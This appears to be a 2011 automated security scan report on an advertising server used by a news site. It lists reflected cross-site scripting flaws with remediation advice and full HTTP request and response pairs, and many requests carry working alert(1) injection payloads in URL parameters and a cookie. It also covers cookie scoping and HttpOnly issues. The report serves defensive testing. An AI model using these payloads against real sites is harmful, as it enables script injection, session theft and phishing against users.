Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 858f4'-alert(1)-'bf7bba71c24 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/q1.boston858f4'-alert(1)-'bf7bba71c24/bus;sz=728x90;click0=;ord=232108943? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://finance.boston.com/boston/news/read?GUID=17744398 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; rdst11=1; rdst12=1; dp2=1; exdp=1; nadp=1; dc=dal-dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 439 Date: Wed, 16 Mar 2011 22:44:55 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-dal-sea; domain=collective-media.net; path=/; expires=Fri, 15-Apr-2011 22:44:55 GMT
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8b4d5'-alert(1)-'cc00c9b24a4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/q1.boston/bus8b4d5'-alert(1)-'cc00c9b24a4;sz=728x90;click0=;ord=232108943? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://finance.boston.com/boston/news/read?GUID=17744398 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; rdst11=1; rdst12=1; dp2=1; exdp=1; nadp=1; dc=dal-dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 439 Vary: Accept-Encoding Date: Wed, 16 Mar 2011 22:44:55 GMT Connection: close Set-Cookie: dc=dal-dc-sea; domain=collective-media.net; path=/; expires=Fri, 15-Apr-2011 22:44:55 GMT
1.3. http://a.collective-media.net/adj/q1.boston/bus [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://a.collective-media.net
Path:
/adj/q1.boston/bus
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2ee57'-alert(1)-'cbbb6edffc7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/q1.boston/bus;sz=728x90;click0=;ord=232108943?&2ee57'-alert(1)-'cbbb6edffc7=1 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://finance.boston.com/boston/news/read?GUID=17744398 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; rdst11=1; rdst12=1; dp2=1; exdp=1; nadp=1; dc=dal-dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 443 Vary: Accept-Encoding Date: Wed, 16 Mar 2011 22:44:54 GMT Connection: close Set-Cookie: dc=dal-dc-sea; domain=collective-media.net; path=/; expires=Fri, 15-Apr-2011 22:44:54 GMT
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload aa5d1'-alert(1)-'7dbc43fc179 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/q1.boston/bus;sz=728x90;click0=;ord=232108943?aa5d1'-alert(1)-'7dbc43fc179 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://finance.boston.com/boston/news/read?GUID=17744398 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; rdst11=1; rdst12=1; dp2=1; exdp=1; nadp=1; dc=dal-dc-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Content-Length: 440 Date: Wed, 16 Mar 2011 22:44:52 GMT Connection: close Vary: Accept-Encoding Set-Cookie: dc=dc-dal-sea; domain=collective-media.net; path=/; expires=Fri, 15-Apr-2011 22:44:52 GMT
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 46e05'-alert(1)-'8a0b0ac4db3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj46e05'-alert(1)-'8a0b0ac4db3/q1.boston/bus;sz=728x90;net=q1;ord=232108943;ord1=918345;cmpgurl=http%253A//finance.boston.com/boston/news/read%253FGUID%253D17744398? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://finance.boston.com/boston/news/read?GUID=17744398 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; rdst11=1; rdst12=1; dp2=1; exdp=1; nadp=1; JY57=35YvzfrqY8QJ9XL2-I1ND8AO_jR1EdT1Qzx7gTonjUIP66jUwQOVTIg; dc=dc-dal-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Wed, 16 Mar 2011 22:45:02 GMT Connection: close Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 22:45:02 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 06:45:02 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 22:45:02 GMT Content-Length: 8015
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("q1-8923867_1300315502","http://ad.doubleclick.net/adj46e05'-alert(1)-'8a0b0ac4db3/q1.boston/bus;net=q1;u=,q1-8923867_1300315502,11e4f07c0988ac7,fin,am.bk-q1.none_l-q1.fin_h-ex.6-dx.ch-dx.24-dx.br-dx.bw-dx.dd-cm.sportsreg-cm.sportsfan-cm.sports_h-cm.educat_h-cm.ent_h;;cmw=owl;sz=728 ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c3d76'-alert(1)-'d0e15d6afb7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/q1.bostonc3d76'-alert(1)-'d0e15d6afb7/bus;sz=728x90;net=q1;ord=232108943;ord1=918345;cmpgurl=http%253A//finance.boston.com/boston/news/read%253FGUID%253D17744398? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://finance.boston.com/boston/news/read?GUID=17744398 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; rdst11=1; rdst12=1; dp2=1; exdp=1; nadp=1; JY57=35YvzfrqY8QJ9XL2-I1ND8AO_jR1EdT1Qzx7gTonjUIP66jUwQOVTIg; dc=dc-dal-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Wed, 16 Mar 2011 22:45:03 GMT Connection: close Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 22:45:03 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 06:45:03 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 22:45:03 GMT Content-Length: 8009
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("q1-71337923_1300315503","http://ad.doubleclick.net/adj/q1.bostonc3d76'-alert(1)-'d0e15d6afb7/bus;net=q1;u=,q1-71337923_1300315503,11e4f07c0988ac7,fin,am.bk-q1.none_l-q1.fin_h-ex.6-dx.ch-dx.24-dx.br-dx.bw-dx.dd-cm.sportsreg-cm.sportsfan-cm.sports_h-cm.educat_h-cm.ent_h;;sz=728x90;net=q1;ord1=9 ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9e900'-alert(1)-'a41f0d69428 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/q1.boston/bus9e900'-alert(1)-'a41f0d69428;sz=728x90;net=q1;ord=232108943;ord1=918345;cmpgurl=http%253A//finance.boston.com/boston/news/read%253FGUID%253D17744398? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://finance.boston.com/boston/news/read?GUID=17744398 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; rdst11=1; rdst12=1; dp2=1; exdp=1; nadp=1; JY57=35YvzfrqY8QJ9XL2-I1ND8AO_jR1EdT1Qzx7gTonjUIP66jUwQOVTIg; dc=dc-dal-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Wed, 16 Mar 2011 22:45:04 GMT Connection: close Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 22:45:04 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 06:45:04 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 22:45:04 GMT Content-Length: 8477
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... <scr'+'ipt language="Javascript">CollectiveMedia.createAndAttachAd("q1-46399825_1300315504","http://ad.doubleclick.net/adj/q1.boston/bus9e900'-alert(1)-'a41f0d69428;net=q1;u=,q1-46399825_1300315504,11e4f07c0988ac7,fin,am.bk-q1.none_m-q1.fin_l-q1.polit_h-ex.11-ex.6-dx.13-dx.1-dx.12-dx.15-dx.2-dx.22-dx.26-dx.28-dx.30-dx.31-dx.34-dx.36-dx.4-dx.5-dx.6-dx.ch-dx.bi-dx. ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a3630'-alert(1)-'a6c25f9b022 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/q1.boston/bus;sz=a3630'-alert(1)-'a6c25f9b022 HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://finance.boston.com/boston/news/read?GUID=17744398 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; rdst11=1; rdst12=1; dp2=1; exdp=1; nadp=1; JY57=35YvzfrqY8QJ9XL2-I1ND8AO_jR1EdT1Qzx7gTonjUIP66jUwQOVTIg; dc=dc-dal-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Wed, 16 Mar 2011 22:44:54 GMT Connection: close Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 22:44:54 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 06:44:54 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 22:44:54 GMT Content-Length: 8410
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... -ex.6-dx.13-dx.4-dx.1-dx.2-dx.6-dx.12-dx.15-dx.22-dx.26-dx.28-dx.30-dx.31-dx.34-dx.36-dx.5-dx.ch-dx.bi-dx.24-dx.42-dx.43-dx.41-dx.40-bk.rdst2-cm.polit_l-cm.rdst11-cm.ent_h-cm.sportsreg-cm.educat_h;;sz=a3630'-alert(1)-'a6c25f9b022;contx=none;dc=w;btg=q1.polit_l;btg=q1.none_l;btg=q1.fin_h;btg=ex.11;btg=ex.6;btg=dx.13;btg=dx.4;btg=dx.1;btg=dx.2;btg=dx.6;btg=dx.12;btg=dx.15;btg=dx.22;btg=dx.26;btg=dx.28;btg=dx.30;btg=dx.31;btg=dx. ...[SNIP]...
The value of the cli cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aa0ff"%3balert(1)//59941a8d2c6 was submitted in the cli cookie. This input was echoed as aa0ff";alert(1)//59941a8d2c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cmadj/q1.boston/bus;sz=728x90;net=q1;ord=232108943;ord1=918345;cmpgurl=http%253A//finance.boston.com/boston/news/read%253FGUID%253D17744398? HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://finance.boston.com/boston/news/read?GUID=17744398 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7aa0ff"%3balert(1)//59941a8d2c6; rdst11=1; rdst12=1; dp2=1; exdp=1; nadp=1; JY57=35YvzfrqY8QJ9XL2-I1ND8AO_jR1EdT1Qzx7gTonjUIP66jUwQOVTIg; dc=dc-dal-sea
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript P3P: policyref="http://a.collective-media.net/static/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Vary: Accept-Encoding Date: Wed, 16 Mar 2011 22:44:55 GMT Connection: close Set-Cookie: apnx=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 22:44:55 GMT Set-Cookie: blue=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 06:44:55 GMT Set-Cookie: qcdp=1; domain=collective-media.net; path=/; expires=Thu, 17-Mar-2011 22:44:55 GMT Content-Length: 7674
function cmIV_(){var a=this;this.ts=null;this.tsV=null;this.te=null;this.teV=null;this.fV=false;this.fFV=false;this.fATF=false;this.nLg=0;this._ob=null;this._obi=null;this._id=null;this._ps=null;this. ...[SNIP]... </scr'+'ipt>');CollectiveMedia.addPixel("http://ib.adnxs.com/mapuid?member=311&user=11e4f07c0988ac7aa0ff";alert(1)//59941a8d2c6&seg_code=am.bk&ord=1300315495",true);CollectiveMedia.addPixel("http://tags.bluekai.com/site/2731",false);CollectiveMedia.addPixel("http://pixel.quantserve.com/seg/r;a=p-86ZJnSph3DaTI;rand=682055846;re ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
Request
GET /adj/q1.boston/bus;sz=728x90;click0=;ord=232108943?01AD=35YvzfrqY8QJ9XL2-I1ND8AO_jR1EdT1Qzx7gTonjUIP66jUwQOVTIg&01RI=E391CDCCB60DDF5&01NA= HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://finance.boston.com/boston/news/read?GUID=17744398 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; rdst11=1; rdst12=1; dp2=1; exdp=1; nadp=1; dc=dal-dc-sea; JY57=CT-1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Content-Length: 411 Date: Wed, 16 Mar 2011 22:44:50 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JY57=35YvzfrqY8QJ9XL2-I1ND8AO_jR1EdT1Qzx7gTonjUIP66jUwQOVTIg; expires=Wed, 13-Apr-2011 22:44:50 GMT; path=/; domain=.collective-media.net Set-Cookie: dc=dc-dal-sea; domain=collective-media.net; path=/; expires=Fri, 15-Apr-2011 22:44:50 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /adj/q1.boston/bus;sz=728x90;click0=;ord=232108943?01AD=35YvzfrqY8QJ9XL2-I1ND8AO_jR1EdT1Qzx7gTonjUIP66jUwQOVTIg&01RI=E391CDCCB60DDF5&01NA= HTTP/1.1 Host: a.collective-media.net Proxy-Connection: keep-alive Referer: http://finance.boston.com/boston/news/read?GUID=17744398 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cli=11e4f07c0988ac7; rdst11=1; rdst12=1; dp2=1; exdp=1; nadp=1; dc=dal-dc-sea; JY57=CT-1
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Content-Type: application/x-javascript Content-Length: 411 Date: Wed, 16 Mar 2011 22:44:50 GMT Connection: close Vary: Accept-Encoding Set-Cookie: JY57=35YvzfrqY8QJ9XL2-I1ND8AO_jR1EdT1Qzx7gTonjUIP66jUwQOVTIg; expires=Wed, 13-Apr-2011 22:44:50 GMT; path=/; domain=.collective-media.net Set-Cookie: dc=dc-dal-sea; domain=collective-media.net; path=/; expires=Fri, 15-Apr-2011 22:44:50 GMT P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"